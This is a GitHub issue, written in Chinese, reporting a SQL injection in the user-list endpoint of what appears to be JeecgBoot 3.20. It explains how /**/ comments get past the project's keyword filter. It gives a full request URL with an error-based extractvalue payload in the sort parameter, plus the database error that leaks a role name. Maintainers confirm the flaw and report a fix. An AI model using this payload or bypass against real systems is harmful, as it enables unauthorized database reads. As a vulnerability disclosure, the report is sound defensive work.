Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

获取系统用户列表时,使用SQL注入生效 #3676

Closed
kagelasi opened this issue May 7, 2022 · 2 comments
Closed

获取系统用户列表时,使用SQL注入生效 #3676

kagelasi opened this issue May 7, 2022 · 2 comments

Comments

@kagelasi
Copy link

kagelasi commented May 7, 2022

版本号:3.20
问题描述:基于MySQL8的数据库,使用生成的后台代码

SQL注入 select//查询内容//limit/**/1,1

截图&代码:

origin_img_v2_1c938794-fcb8-4ba8-bd24-a63a5b29b15g

在SqlInjectionUtil#filterContent方法中,针对select的拦截是带有空格的“select ”,因为filterContent方法在检查前过滤了
"/\.\*/"的replaceAll

select查询注入的示例

完整请求地址

/sys/user/list?_t=1651901840&column=extractvalue(rand(),concat(0x7e,substring((select/**/concat(role_name)/**/from/**/sys_role/**/limit/**/1,1),1,3)))&order=desc&pageNo=1&pageSize=10

结果

\r\n### Error querying database. Cause: java.sql.SQLException: XPATH syntax error: '~阎王'\r\n### The error may exist in org/jeecg/modules/system/mapper/SysUserMapper.java (best guess)\r\n### The error may involve defaultParameterMap\r\n### The error occurred while setting parameters\r\n### SQL: SELECT id,username FROM sys_user WHERE del_flag=0 AND (username <> ?) ORDER BY extractvalue(rand(),concat(0x7e,substring((select/**/concat(role_name)/**/from/**/sys_role/**/limit/**/1,1),1,3))) DESC LIMIT ?,?\r\n### Cause: java.sql.SQLException: XPATH syntax error: '~阎王'\n; uncategorized SQLException; SQL state [HY000]; error code [1105]; XPATH syntax error: '~阎王'; nested exception is java.sql.SQLException: XPATH syntax error: '~阎王'",

如上所述, 当filterContent拦截时,会将 select后面的替换掉,逃过此方法的检查,在抛错信息中,展示注入SQL查询到的内容

友情提示(为了提高issue处理效率):

  • 未按格式要求发帖,会被直接删掉;
  • 请自己初判问题描述是否清楚,是否方便我们调查处理;
  • 针对问题请说明是Online在线功能(需说明用的主题模板),还是生成的代码功能;
  • 描述过于简单或模糊,导致无法处理的,会被直接删掉;
@zhangdaiscott
Copy link
Member

ty

@tygithub1
Copy link

实际测试效果是:druid对于该sql的检测就不会通过,然后是jsqlparse对于该SQL也无法通过,所以都无法走到执行sql语句的那一步,但是也确实有问题,对于排序的字段没有作校验确定是否属于该实体,已修改!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants